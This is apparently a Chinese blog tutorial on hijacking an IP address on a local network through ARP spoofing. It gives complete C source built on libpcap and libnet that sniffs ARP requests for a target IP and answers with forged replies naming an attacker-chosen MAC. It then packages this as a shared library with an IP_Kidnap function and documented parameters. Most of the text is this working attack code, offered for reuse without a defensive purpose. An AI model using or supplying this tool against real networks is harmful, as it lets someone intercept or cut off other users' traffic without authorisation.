基于ARP的局域网IP劫持——C语言实现
我站在 烈烈风中
恨不能 荡尽绵绵心痛
望苍天 四方云动
剑在手
问天下谁是英雄
——《霸王别姬》
阅读这篇文章之前,请确认已经熟悉ARP报文伪造的方法,可参考《ARP数据包伪造》。
请看下图,这是全篇文章的鸟瞰:
要想实现上图的工作流程,必须实现两个模块:
•自由的伪造ARP报文
•抓取并分析所有流经网卡的数据包
从上图中可以看出,我们可以通过BPF或者DLPI层实现数据包的抓取分析,而tcpdump的根基——libpcap库,正是对BPF层的二次封装实现的C库,我们将通过它来实现数据包的抓取分析。
关于libpcap的基础使用,请参考这篇文章《libpcap使用》。
下面给出一个简单的libpcap过滤抓包的程序:
1 #include <pcap.h> 2 #include <time.h> 3 #include <stdlib.h> 4 #include <stdio.h> 5 6 unsigned char glTargetIP[4]={192,168,1,99}; 7 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast "; 8 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff }; 9 char * glNICStr="eth2"; 10 11 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) 12 { 13 int * id = (int *)arg; 14 unsigned char * src_ip =glTargetIP; 15 unsigned char * src_mac=glRetargetMac; 16 unsigned char * dst_ip =packet+28; 17 unsigned char * dst_mac=packet+22; 18 19 printf("id: %d\n", ++(*id)); 20 printf("Packet length: %d\n", pkthdr->len); 21 printf("Number of bytes: %d\n", pkthdr->caplen); 22 printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 23 24 int i; 25 for(i=0; i<pkthdr->len; ++i) 26 { 27 printf(" %02x", packet[i]); 28 if( (i + 1) % 16 == 0 ) 29 { 30 printf("\n"); 31 } 32 } 33 34 printf("\n\n"); 35 } 36 37 int main () 38 { 39 char errBuf[PCAP_ERRBUF_SIZE], * devStr; 40 struct bpf_program filter; 41 42 /* get a device */ 43 devStr = pcap_lookupdev(errBuf); 44 45 if(devStr) 46 { 47 printf("success: device: %s\n", devStr); 48 } 49 else 50 { 51 printf("error: %s\n", errBuf); 52 exit(1); 53 } 54 55 /* open a device, wait until a packet arrives */ 56 pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf); 57 58 if(!device) 59 { 60 printf("error: pcap_open_live(): %s\n", errBuf); 61 exit(1); 62 } 63 /* set filter */ 64 pcap_compile( device,&filter,glBpfCmd,1,0 ); 65 pcap_setfilter(device ,&filter ); 66 /* wait loop forever */ 67 int id = 0; 68 pcap_loop(device, -1, getPacket, (u_char*)&id); 69 70 pcap_close(device); 71 72 return 0; 73 }
gcc name.c -lpcap -o name
结合ARP报文伪造模块,下面给出完整实现代码:
1 #include <pcap.h> 2 #include <time.h> 3 #include <stdlib.h> 4 #include <stdio.h> 5 6 #include <stdio.h> 7 #include <stdlib.h> 8 #include <string.h> 9 #include <unistd.h> 10 #include <libnet.h> 11 12 #define MAC_ADDR_LEN 6 13 #define IP_ADDR_LEN 4 14 15 16 unsigned char glTargetIP[4]={192,168,1,99}; 17 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast "; 18 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff }; 19 char * glNICStr="eth2"; 20 21 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 22 unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes ) 23 { 24 static char padPtr[18]; 25 libnet_t *net_t = NULL; 26 char err_buf[LIBNET_ERRBUF_SIZE]; 27 libnet_ptag_t p_tag; 28 unsigned int i=0; 29 30 printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip); 31 printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip); 32 33 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 34 if(net_t == NULL) 35 { 36 printf("libnet_init error\n"); 37 return 2; 38 } 39 40 p_tag = libnet_build_arp( 41 ARPHRD_ETHER,//hardware type ethernet 42 ETHERTYPE_IP,//protocol type 43 MAC_ADDR_LEN,//mac length 44 IP_ADDR_LEN,//protocol length 45 arpOp,//op type 46 (u_int8_t *)src_mac,//source mac addr 47 (u_int8_t *)src_ip,//source ip addr 48 (u_int8_t *)dst_mac,//dest mac addr 49 (u_int8_t *)dst_ip,//dest ip addr 50 padPtr,//payload 51 18,//payload length 52 net_t,//libnet context 53 0//0 stands to build a new one 54 ); 55 56 if(-1 == p_tag) 57 { 58 printf("libnet_build_arp error\n"); 59 libnet_destroy(net_t); 60 return 3; 61 } 62 63 p_tag = libnet_build_ethernet(//create ethernet header 64 (u_int8_t *)dst_mac,//dest mac addr 65 (u_int8_t *)src_mac,//source mac addr 66 ETHERTYPE_ARP,//protocol type 67 padPtr,//payload 68 0,//payload length 69 net_t,//libnet context 70 0//0 to build a new one 71 ); 72 73 if(-1 == p_tag) 74 { 75 printf("libnet_build_ethernet error!\n"); 76 libnet_destroy(net_t); 77 return 4; 78 } 79 80 int res; 81 i=0; 82 for(;i<sendTimes;i++) 83 if(-1 == (res = libnet_write(net_t))) 84 { 85 printf("libnet_write error!\n"); 86 libnet_destroy(net_t); 87 return 5; 88 } 89 90 libnet_destroy(net_t); 91 return 0; 92 FAIL: 93 libnet_destroy(net_t); 94 return 6; 95 } 96 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) 97 { 98 int * id = (int *)arg; 99 unsigned char * src_ip =glTargetIP; 100 unsigned char * src_mac=glRetargetMac; 101 unsigned char * dst_ip =packet+28; 102 unsigned char * dst_mac=packet+22; 103 104 ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 105 106 printf("id: %d\n", ++(*id)); 107 printf("Packet length: %d\n", pkthdr->len); 108 printf("Number of bytes: %d\n", pkthdr->caplen); 109 printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 110 111 int i; 112 for(i=0; i<pkthdr->len; ++i) 113 { 114 printf(" %02x", packet[i]); 115 if( (i + 1) % 16 == 0 ) 116 { 117 printf("\n"); 118 } 119 } 120 121 printf("\n\n"); 122 } 123 124 int main () 125 { 126 char errBuf[PCAP_ERRBUF_SIZE], * devStr; 127 struct bpf_program filter; 128 129 /* get a device */ 130 devStr = pcap_lookupdev(errBuf); 131 132 if(devStr) 133 { 134 printf("success: device: %s\n", devStr); 135 } 136 else 137 { 138 printf("error: %s\n", errBuf); 139 exit(1); 140 } 141 142 /* open a device, wait until a packet arrives */ 143 pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf); 144 145 if(!device) 146 { 147 printf("error: pcap_open_live(): %s\n", errBuf); 148 exit(1); 149 } 150 /* set filter */ 151 pcap_compile( device,&filter,glBpfCmd,1,0 ); 152 pcap_setfilter(device ,&filter ); 153 /* wait loop forever */ 154 int id = 0; 155 pcap_loop(device, -1, getPacket, (u_char*)&id); 156 157 pcap_close(device); 158 159 return 0; 160 }
这个工具的验证结果已经在文章鸟瞰图中给出。
下面,我们将这段代码封装成为一个共享库,以供其他程序调用。
1 // # gcc name.c -lnet -lpcap -shared -fPIC -o name.so 2 #include <pcap.h> 3 #include <time.h> 4 #include <stdlib.h> 5 #include <stdio.h> 6 7 #include <stdio.h> 8 #include <stdlib.h> 9 #include <string.h> 10 #include <unistd.h> 11 #include <libnet.h> 12 13 #define MAC_ADDR_LEN 6 14 #define IP_ADDR_LEN 4 15 16 17 static unsigned char * glTargetIP; 18 static char * glBpfCmd; 19 static unsigned char * glRetargetMac; 20 static char * glListenNICStr; 21 static char * glSendNICStr; 22 23 24 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 25 unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes ) 26 { 27 static char padPtr[18]; 28 libnet_t *net_t = NULL; 29 char err_buf[LIBNET_ERRBUF_SIZE]; 30 libnet_ptag_t p_tag; 31 unsigned int i=0; 32 33 printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip); 34 printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip); 35 36 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 37 if(net_t == NULL) 38 { 39 printf("libnet_init error\n"); 40 return 2; 41 } 42 43 p_tag = libnet_build_arp( 44 ARPHRD_ETHER,//hardware type ethernet 45 ETHERTYPE_IP,//protocol type 46 MAC_ADDR_LEN,//mac length 47 IP_ADDR_LEN,//protocol length 48 arpOp,//op type 49 (u_int8_t *)src_mac,//source mac addr 50 (u_int8_t *)src_ip,//source ip addr 51 (u_int8_t *)dst_mac,//dest mac addr 52 (u_int8_t *)dst_ip,//dest ip addr 53 padPtr,//payload 54 18,//payload length 55 net_t,//libnet context 56 0//0 stands to build a new one 57 ); 58 59 if(-1 == p_tag) 60 { 61 printf("libnet_build_arp error\n"); 62 libnet_destroy(net_t); 63 return 3; 64 } 65 66 p_tag = libnet_build_ethernet(//create ethernet header 67 (u_int8_t *)dst_mac,//dest mac addr 68 (u_int8_t *)src_mac,//source mac addr 69 ETHERTYPE_ARP,//protocol type 70 padPtr,//payload 71 0,//payload length 72 net_t,//libnet context 73 0//0 to build a new one 74 ); 75 76 if(-1 == p_tag) 77 { 78 printf("libnet_build_ethernet error!\n"); 79 libnet_destroy(net_t); 80 return 4; 81 } 82 83 int res; 84 i=0; 85 for(;i<sendTimes;i++) 86 if(-1 == (res = libnet_write(net_t))) 87 { 88 printf("libnet_write error!\n"); 89 libnet_destroy(net_t); 90 return 5; 91 } 92 93 libnet_destroy(net_t); 94 return 0; 95 FAIL: 96 libnet_destroy(net_t); 97 return 6; 98 } 99 void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) 100 { 101 int * id = (int *)arg; 102 unsigned char * src_ip =glTargetIP; 103 unsigned char * src_mac=glRetargetMac; 104 unsigned char * dst_ip =packet+28; 105 unsigned char * dst_mac=packet+22; 106 107 ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 108 109 printf("id: %d\n", ++(*id)); 110 printf("Packet length: %d\n", pkthdr->len); 111 printf("Number of bytes: %d\n", pkthdr->caplen); 112 printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 113 114 int i; 115 for(i=0; i<pkthdr->len; ++i) 116 { 117 printf(" %02x", packet[i]); 118 if( (i + 1) % 16 == 0 ) 119 { 120 printf("\n"); 121 } 122 } 123 124 printf("\n\n"); 125 } 126 127 /* args example 128 static unsigned char glTargetIP[4]={192,168,1,99}; 129 static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast "; 130 static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff }; 131 static char * glListenNICStr="eth2"; 132 static char * glSendNICStr="eth2"; 133 */ 134 int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd, 135 unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr ) 136 { 137 char errBuf[PCAP_ERRBUF_SIZE], * devStr; 138 struct bpf_program filter; 139 glTargetIP=TargetIP; 140 glBpfCmd=BpfCmd; 141 glRetargetMac=RetargetMac; 142 glSendNICStr=sendNICStr; 143 glListenNICStr=listenNICStr; 144 145 /* get a device */ 146 devStr = pcap_lookupdev(errBuf); 147 148 if(devStr) 149 { 150 printf("success: device: %s\n", devStr); 151 } 152 else 153 { 154 printf("error: %s\n", errBuf); 155 exit(1); 156 } 157 158 /* open a device, wait until a packet arrives */ 159 pcap_t * device = pcap_open_live(glListenNICStr, 65535, 1, 0, errBuf); 160 161 if(!device) 162 { 163 printf("error: pcap_open_live(): %s\n", errBuf); 164 exit(1); 165 } 166 /* set filter */ 167 pcap_compile( device,&filter,glBpfCmd,1,0 ); 168 pcap_setfilter(device ,&filter ); 169 /* wait loop forever */ 170 int id = 0; 171 pcap_loop(device, -1, getPacket, (u_char*)&id); 172 173 pcap_close(device); 174 175 return 0; 176 }
编译后的结果:
函数原型:
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes ) /* dev : pointer to nic name, "eth0" for example. src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };' dst_mac : similar as src_mac src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};' dst_ip : similar as src_ip arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e. sendTimes : how many times this packet you want to send */
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd, unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr ) /* TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; ' BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";' RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };' ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";' SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";' */
附录: